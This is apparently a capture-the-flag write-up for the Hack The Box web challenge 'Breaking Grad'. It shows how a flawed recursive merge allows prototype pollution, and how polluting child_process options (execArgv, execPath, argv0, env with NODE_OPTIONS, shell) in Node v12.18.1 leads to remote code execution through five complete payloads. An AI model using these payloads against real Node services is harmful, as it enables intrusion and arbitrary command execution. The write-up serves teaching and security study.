RouSoftware
all writeups
Hack The Box August 18, 2026

Breaking Grad

A beautiful prototype pollution puzzle on an old Node version, with multiple solutions via symbolic links, Node executable arguments or straight up shell commands.

Prototype PollutionWeb
target.dossier
platform
Hack The Box
type
Challenge
os
Linux
difficulty
medium
status
Retired
released
Jun 26, 2020
Contents

Breaking Grads — Prototype Pollution to RCE in Node.js v12.18.1

Overview

Breaking Grads is a Medium Web challenge with an easy-to-spot prototype pollution path leading to a not-so-obvious RCE through seemingly uninjectable child_process functions. The interesting part of the challenge is not finding the prototype pollution itself, but finding a gadget that turns a polluted property into code execution.

My approach was:

  1. Find the prototype pollution vector.
  2. Examine the fork and execSync implementations.
  3. Compare modern Node.js with the challenge's Node.js version.
  4. Find pollutable child_process options that reach process creation.
  5. Craft several RCE payloads and trigger them through the debug endpoints.

The challenge pins Node.js to v12.18.1, which turns out to be the most important clue.


Finding the Prototype Pollution

Looking at the /debug/ and /api/calculate endpoints, we see that the request body supplied to /api/calculate is cloned. Further examining the ObjectHelper functions reveals an unsafe recursive merge:

JavaScript
isValidKey(key) {
    return key !== '__proto__';
},

merge(target, source) {
    for (let key in source) {
        if (this.isValidKey(key)) {
            if (this.isObject(target[key]) &&
                this.isObject(source[key])) {
                this.merge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    return target;
},

The application explicitly blocks the __proto__ key, so the obvious payload does not work. However, constructor.prototype gives us another path to Object.prototype.

It is worth being precise here: __proto__ is not literally an alias for constructor.prototype. __proto__ is an accessor for an object's internal [[Prototype]]. The reason constructor.prototype works in this case is that a normal object inherits constructor from Object.prototype:

JavaScript
({}).constructor === Object
Object.prototype === ({}).constructor.prototype

Now consider this payload:

JSON
{
  "constructor": {
    "prototype": {
      "polluted": "polluted"
    }
  }
}

The clone starts with an empty object as the target. When the merge sees constructor, target.constructor is not undefined: it resolves through the prototype chain to the built-in Object function. The helper also considers functions to be objects, so it recursively merges into it.

The merge path is approximately:

target = {}

key = "constructor"
target.constructor -> Object
        |
        v
merge(Object, source.constructor)

key = "prototype"
Object.prototype -> global Object.prototype
        |
        v
merge(Object.prototype, source.constructor.prototype)

key = "polluted"
Object.prototype.polluted = "polluted"

At this point, ordinary objects inherit the value:

JavaScript
({}).polluted
// "polluted"

This is the primitive we need. The remaining question is: what useful property can we pollute?


Looking for an RCE Gadget in Node.js

Examining the debug functionality gives us two interesting commands:

JavaScript
if (command == 'version') {
    let proc = fork('VersionCheck.js', [], {
        stdio: ['ignore', 'pipe', 'pipe', 'ipc']
    });

    proc.stderr.pipe(res);
    proc.stdout.pipe(res);
    return;
}

if (command == 'ram') {
    return res.send(execSync('free -m').toString());
}

At first glance neither is injectable:

  • fork() always launches VersionCheck.js.
  • execSync() always receives the fixed command free -m.

So instead of looking for command-string injection, I started looking for initially absent option fields that Node later reads when creating the child process.

Prototype pollution cannot normally replace an own property. JavaScript property lookup checks the object first and only walks up the prototype chain when the property is absent:

JavaScript
const obj = { value: 'safe' };
Object.prototype.value = 'polluted';

obj.value;
// "safe"

Therefore, the useful gadgets are option fields which are not already present on the application's options object.

A Detour: Why Modern Node.js Does Not Behave the Same Way

Reading the current child_process implementation shows explicit prototype-pollution hardening. Modern fork() normalizes its options into a null-prototype object:

JavaScript
options = { __proto__: null, ...options, shell: false };

Modern normalizeExecArgs() does the same:

JavaScript
options = { __proto__: null, ...options };

With a null prototype, a lookup such as:

JavaScript
options.execPath

cannot fall through into Object.prototype:

options
  |
  +-- own execPath? no
  |
  +-- [[Prototype]] -> null

result: undefined

This is why a polluted Object.prototype.execPath does not win over the modern fallback:

JavaScript
options.execPath ||= process.execPath;

options.execPath is genuinely undefined, so Node writes the legitimate process.execPath value. process.execPath itself is also an existing property on process, so ordinary Object.prototype pollution cannot override it.

At this point the modern source looks like a dead end. Then the challenge's package.json gives us the important detail:

JSON
"nodeVersion": "v12.18.1"

Finding an RCE Vector in Node.js v12.18.1

Reading the exact Node.js v12.18.1 child_process.js reveals a very different implementation.

The code repeatedly makes shallow copies like this:

JavaScript
options = { ...options };

This does not protect against Object.prototype pollution. Object spread copies only own enumerable properties, but the newly created object is still an ordinary object whose prototype is Object.prototype.

For example:

JavaScript
Object.prototype.execPath = '/bin/sh';

const original = {};
const copy = { ...original };

copy.hasOwnProperty('execPath');
// false

copy.execPath;
// "/bin/sh"

The inherited property was not copied, but the new object still inherits the polluted prototype. That distinction is what makes the v12 gadgets work.


Understanding the execSync Path

For the ram debug command, the application calls:

JavaScript
execSync('free -m');

execSync() first calls normalizeExecArgs():

JavaScript
function normalizeExecArgs(command, options, callback) {
  // Make a shallow copy so we don't clobber the user's options object.
  options = { ...options };
  options.shell = typeof options.shell === 'string' ? options.shell : true;

  return {
    file: command,
    options: options,
    callback: callback
  };
}

Normally there is no shell property, so Node sets:

JavaScript
options.shell = true;

execSync() then calls:

JavaScript
const ret = spawnSync(opts.file, opts.options);

Eventually normalizeSpawnArguments() handles shell execution:

JavaScript
if (options.shell) {
  const command = [file].concat(args).join(' ');

  if (typeof options.shell === 'string')
    file = options.shell;
  else
    file = '/bin/sh';

  args = ['-c', command];
}

For the normal request:

file = "free -m"
args = []
shell = true

becomes:

file = "/bin/sh"
args = ["-c", "free -m"]

and, after Node inserts argv[0], the OS process is conceptually:

/bin/sh -c "free -m"

The actual process creation happens below this JavaScript layer in Node's internal child-process implementation and eventually reaches libuv. For exploitation, the important part is that normalizeSpawnArguments() decides which executable and arguments are passed down.

Polluting shell

In Node v12.18.1, the initial options object is still connected to Object.prototype. Therefore:

JSON
{
  "constructor": {
    "prototype": {
      "shell": "ls"
    }
  }
}

causes this line:

JavaScript
options.shell = typeof options.shell === 'string' ? options.shell : true;

to see the inherited string "ls". Node then creates an own shell = "ls" property and eventually constructs approximately:

file = "ls"
args = ["-c", "free -m"]

or:

ls -c "free -m"

This explains the error:

ls: cannot access 'free -m': No such file or directory

The pollution worked, but shell alone only controls the executable. The original command string remains fixed as free -m. ls does not interpret -c as "execute this command", so this does not immediately give us the flag.

Where spawnSync() Finally Sends the Values

spawnSync() calls normalizeSpawnArguments() and receives:

JavaScript
{
  file,
  args,
  options,
  envPairs
}

It then aliases options and opts.options:

JavaScript
options = opts.options = defaults;

and copies the normalized process fields into that object:

JavaScript
options.file = opts.file;
options.args = opts.args;
options.envPairs = opts.envPairs;

Finally:

JavaScript
return child_process.spawnSync(opts);

hands the normalized structure to Node's internal child-process implementation. In other words, by the time the native layer is reached, our polluted options have already influenced the executable, argument vector, and environment.


Understanding the fork Path

The version debug command calls:

JavaScript
fork('VersionCheck.js', [], {
    stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});

The important parts of Node v12.18.1's fork() are:

JavaScript
options = { ...arguments[pos++] };

execArgv = options.execArgv || process.execArgv;

args = execArgv.concat([modulePath], args);

options.execPath = options.execPath || process.execPath;
options.shell = false;

return spawn(options.execPath, args, options);

Two properties immediately stand out:

  • execPath controls which executable is started.
  • execArgv controls which arguments are placed before VersionCheck.js.

Normally:

execPath = /usr/bin/node
execArgv = []
modulePath = VersionCheck.js

so the call becomes approximately:

/usr/bin/node VersionCheck.js

If we pollute:

JavaScript
Object.prototype.execPath = '/bin/sh';
Object.prototype.execArgv = ['-c', 'ls'];

then fork() constructs:

execPath = /bin/sh
execArgv = ["-c", "ls"]
modulePath = VersionCheck.js

and:

JavaScript
args = execArgv.concat([modulePath], args);

becomes:

JavaScript
['-c', 'ls', 'VersionCheck.js']

The final spawn is therefore conceptually:

/bin/sh -c "ls" VersionCheck.js

For sh -c, the first argument after the command string becomes the shell's $0, so the forced VersionCheck.js no longer needs to be executed as a JavaScript file.

This gives us a much cleaner RCE path than trying to inject into the fixed debug command.


Why the Payload and Debug Requests Are Separate

One detail that can initially be confusing is that sending the prototype-pollution payload to /api/calculate does not execute anything by itself. The exploit is two-stage:

1. Pollution source                         2. Gadget trigger

/api/calculate                             /debug/version or /debug/ram
      |                                            |
      v                                            v
unsafe merge                                fork() / execSync()
      |                                            |
      v                                            v
Object.prototype.<property>  ----------->  options.<property>
                                                   |
                                                   v
                                           child process creation

The first request runs inside the main Node.js server process and mutates Object.prototype. That object is global to the JavaScript realm, so the polluted property remains present after the /api/calculate request has finished. It is not tied to the lifetime of the HTTP request.

When we then visit a debug endpoint, the same server process creates new ordinary option objects. Those objects inherit from the already polluted Object.prototype, so Node's child_process code sees our values when it reads fields such as:

JavaScript
options.execArgv
options.execPath
options.argv0
options.env
options.shell

The debug request is therefore the trigger that reaches the gadget.

There is another important distinction with fork(): the newly forked Node process does not inherit the parent's JavaScript heap or its polluted Object.prototype. It does not need to. The parent process reads the polluted fields before spawning the child and converts them into OS-level process parameters such as the executable path, argument vector, and environment. Those values are what cross the process boundary.

The challenge also conveniently returns the child output to us:

JavaScript
proc.stderr.pipe(res);
proc.stdout.pipe(res);

for /debug/version, while /debug/ram sends the stdout captured by execSync():

JavaScript
res.send(execSync('free -m').toString());

So the workflow for the following payloads is:

Send pollution payload to /api/calculate
                |
                v
Object.prototype is polluted
                |
                v
Visit the matching /debug endpoint
                |
                v
child_process gadget reads polluted fields
                |
                v
payload executes and stdout/stderr reaches HTTP response

If the Node process restarts, the pollution disappears. Likewise, in a multi-worker deployment, a second request would need to reach the same polluted worker. The challenge behaves consistently because the requests are handled by the same long-running application process.


Payload #1 — fork() with execArgv

The first RCE does not even require control of execPath.

If execPath is not polluted, fork() falls back to:

JavaScript
process.execPath

which points to the Node executable. Node supports -e, which evaluates the next argument as JavaScript source.

We can therefore pollute only execArgv. Since the flag filename is randomized, the payload first finds the file beginning with flag_, reads it, and writes the contents directly to stdout:

JSON
{
  "constructor": {
    "prototype": {
      "execArgv": [
        "-e",
        "const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'))"
      ]
    }
  }
}

After sending this to /api/calculate, visiting /debug/version makes fork() construct approximately:

/usr/bin/node -e "<flag-reading JavaScript>" VersionCheck.js

The -e option tells Node to evaluate our string instead of treating VersionCheck.js as the main program. The remaining non-option argument is exposed to the evaluated program as a normal argument, so the forced module path is effectively neutralized.

The payload reads the flag and writes it to the child process's stdout. The application already pipes that stream into the HTTP response with proc.stdout.pipe(res), so simply visiting /debug/version returns the flag.


Payload #2 — fork() with execPath + execArgv

Instead of keeping Node as the child executable, we can replace it completely.

JSON
{
  "constructor": {
    "prototype": {
      "execPath": "/bin/sh",
      "execArgv": [
        "-c",
        "cat flag_*"
      ]
    }
  }
}

After the pollution request, /debug/version evaluates the polluted values in fork():

execPath = /bin/sh
execArgv = ["-c", "cat flag_*"]
modulePath = VersionCheck.js

which becomes:

/bin/sh -c "cat flag_*" VersionCheck.js

/bin/sh interprets the -c argument as shell source, so shell globbing expands flag_*. The forced VersionCheck.js argument becomes $0 for the shell and does not interfere with the command.

This is probably the simplest pure fork() solution because it gives us both executable control and arbitrary argument control without needing /proc tricks.


Payload #3 — fork() with argv0 + NODE_OPTIONS + /proc/self/cmdline

This is a more interesting gadget because argv0 is not code execution by itself.

The payload directly reads the flag:

JSON
{
  "constructor": {
    "prototype": {
      "argv0": "(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//",
      "env": {
        "NODE_OPTIONS": "--require=/proc/self/cmdline"
      }
    }
  }
}

After sending it to /api/calculate, we trigger /debug/version.

Step 1: argv0 controls the child's first argument

normalizeSpawnArguments() contains:

JavaScript
if (typeof options.argv0 === 'string') {
  args.unshift(options.argv0);
} else {
  args.unshift(file);
}

Our polluted argv0 therefore becomes the child's argv[0].

The important point is that nothing has executed yet. At this stage it is only a string in the argument vector.

Step 2: Linux exposes the argument vector through /proc/self/cmdline

Inside the newly created process, /proc/self/cmdline contains the process arguments separated by NUL bytes. Because we control argv[0], the file starts approximately like this:

(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//\0VersionCheck.js\0

We have effectively made attacker-controlled JavaScript appear at the beginning of a readable file.

Step 3: env supplies NODE_OPTIONS

The same normalizeSpawnArguments() function reads:

JavaScript
const env = options.env || process.env;

Our polluted options.env therefore becomes the environment passed to the new process. It contains:

NODE_OPTIONS=--require=/proc/self/cmdline

Node v12.18.1 allows --require in NODE_OPTIONS. During startup, the child Node process therefore preloads /proc/self/cmdline before executing VersionCheck.js.

The file starts with our argv0, so Node parses:

JavaScript
(()=>{
  const f = require('fs');
  const n = f.readdirSync('.').find(x => x.startsWith('flag_'));
  process.stdout.write(f.readFileSync(n, 'utf8'));
  process.exit(0);
})();
// ...remaining cmdline bytes...

The trailing // is important: it comments out the remaining NUL-separated command-line contents. process.exit(0) also prevents Node from continuing on to the forced VersionCheck.js after our flag-reading code has executed.

After sending the pollution payload, visit /debug/version to trigger fork(). The flag bytes written to stdout are piped directly into the HTTP response.

The chain is:

Object.prototype.argv0 = JavaScript
Object.prototype.env = { NODE_OPTIONS: --require=/proc/self/cmdline }
                |
                v
          /debug/version
                |
                v
              fork()
                |
                +--> argv0 becomes first bytes of /proc/self/cmdline
                |
                +--> NODE_OPTIONS tells Node to require that file
                |
                v
        argv0 parsed as JavaScript
                |
                v
               RCE

Payload #4 — fork() with NODE_OPTIONS + /proc/self/environ

This is similar to the previous technique, but the JavaScript source is placed in the child process's environment instead of its command line. We do not need argv0 at all.

The environment itself can contain the flag-reading JavaScript:

JSON
{
  "constructor": {
    "prototype": {
      "env": {
        "PAYLOAD": "(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//",
        "NODE_OPTIONS": "--require=/proc/self/environ"
      }
    }
  }
}

This corrects an important distinction from the cmdline technique: if we require /proc/self/environ, the JavaScript must actually be present in the environment.

When fork() reaches normalizeSpawnArguments(), our polluted env object is converted into the child's real environment. We deliberately place PAYLOAD before NODE_OPTIONS in the object so the generated environment starts with the parseable assignment. For these ordinary string keys, the v12 for...in enumeration preserves that insertion order when building envPairs. Inside the child, /proc/self/environ contains NUL-separated KEY=value entries and begins approximately like:

PAYLOAD=(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//\0NODE_OPTIONS=--require=/proc/self/environ\0

This is valid JavaScript source in the v12 CommonJS context:

JavaScript
PAYLOAD = (() => {
  const f = require('fs');
  const n = f.readdirSync('.').find(x => x.startsWith('flag_'));
  process.stdout.write(f.readFileSync(n, 'utf8'));
  process.exit(0);
})();
// ...remaining environment bytes...

NODE_OPTIONS tells the child Node process to require /proc/self/environ, so Node parses the environment file as JavaScript before it reaches VersionCheck.js.

The PAYLOAD= prefix is useful here: it makes the beginning of /proc/self/environ look like a normal JavaScript assignment. The trailing // comments out the remaining NUL-separated environment entries.

As before:

send payload -> /api/calculate
trigger       -> /debug/version
output        -> forked child's stdout/stderr piped into HTTP response

Payload #5 — execSync() with shell + argv0 + env

The previous payloads all use the /debug/version fork() sink. We can also build a separate RCE through the /debug/ram execSync() path.

Recall that the application executes the fixed command:

JavaScript
execSync('free -m');

Polluting only shell was not enough because Node still supplied:

-c "free -m"

However, we can combine three fields and make the payload read the flag directly:

JSON
{
  "constructor": {
    "prototype": {
      "shell": "/proc/self/exe",
      "argv0": "(()=>{const f=require('fs');const n=f.readdirSync('.').find(x=>x.startsWith('flag_'));process.stdout.write(f.readFileSync(n,'utf8'));process.exit(0)})();//",
      "env": {
        "NODE_OPTIONS": "--require=/proc/self/cmdline"
      }
    }
  }
}

After sending this payload, we trigger /debug/ram, not /debug/version.

Step 1: shell = /proc/self/exe

On Linux, /proc/self/exe is a symbolic link to the executable of the current process. Since the server is Node.js, this points to the Node executable.

Normally execSync('free -m') becomes:

/bin/sh -c "free -m"

With the polluted shell it instead becomes conceptually:

/proc/self/exe -c "free -m"

So execSync() is now launching another Node process instead of /bin/sh.

Step 2: argv0 puts JavaScript in /proc/self/cmdline

normalizeSpawnArguments() still processes the polluted argv0, so the actual argument vector begins approximately as:

argv[0] = (()=>{...read flag and write it to stdout...})();//
argv[1] = -c
argv[2] = free -m

The child process's /proc/self/cmdline therefore begins with our JavaScript source.

Step 3: NODE_OPTIONS preloads the command line

The polluted env supplies:

NODE_OPTIONS=--require=/proc/self/cmdline

The new Node process preloads its own command-line file before normal CLI processing reaches the fixed -c "free -m" arguments. Our argv0 code runs first and calls process.exit(0), so those fixed arguments never need to be useful.

The complete chain is:

/api/calculate
      |
      v
Object.prototype.shell = /proc/self/exe
Object.prototype.argv0 = JavaScript
Object.prototype.env = { NODE_OPTIONS: --require=/proc/self/cmdline }
      |
      v
/debug/ram
      |
      v
execSync("free -m")
      |
      +--> shell changes executable to Node
      |
      +--> argv0 places JS in /proc/self/cmdline
      |
      +--> NODE_OPTIONS requires /proc/self/cmdline
      |
      v
JavaScript executes during child Node startup
      |
      v
execSync captures stdout
      |
      v
res.send(...) returns it to us

Send it to /api/calculate, then visit /debug/ram. execSync() captures the spawned Node process's stdout as a Buffer, the application converts it with .toString(), and the flag is returned in the HTTP response.

This gives us an RCE path through the supposedly fixed free -m command without ever controlling that command string directly.


Comparing the Payloads

The challenge has several viable RCE gadgets once Object.prototype can be polluted:

Sink Polluted fields Idea
fork() execArgv Keep Node as executable and use node -e <JS>
fork() execPath + execArgv Replace Node with /bin/sh and supply -c <command>
fork() argv0 + env Put JS in /proc/self/cmdline and preload it with NODE_OPTIONS
fork() env Put JS in /proc/self/environ and preload it with NODE_OPTIONS
execSync() shell + argv0 + env Turn the shell into Node, then use the /proc/self/cmdline preload gadget

The first two are the simplest ways to solve the challenge. The /proc techniques are more complicated, but they are useful because they demonstrate how several individually harmless process features can compose into RCE.


Conclusion

The initial bug is a straightforward unsafe recursive merge, but the interesting part is turning that primitive into something useful.

The exploit has two distinct stages:

Prototype pollution source
        |
        v
Object.prototype is modified
        |
        v
child_process gadget is triggered later
        |
        v
inherited option becomes executable / argv / environment data
        |
        v
RCE

Node.js v12.18.1 is particularly important because its child_process implementation repeatedly uses ordinary objects and reads security-sensitive fields such as execPath, execArgv, shell, argv0, and env without isolating those option objects from Object.prototype.

Modern Node.js has added null-prototype normalization around these option objects, which breaks the straightforward inherited-option gadgets used here. This does not make prototype pollution harmless in general; it means this particular set of core child_process gadgets has been hardened.

The main lesson from the challenge is that prototype pollution is often only the first half of the exploit. The real impact depends on finding a gadget that reads the polluted property and carries it into a security-sensitive operation.

References

Breaking Grad — RouSoftware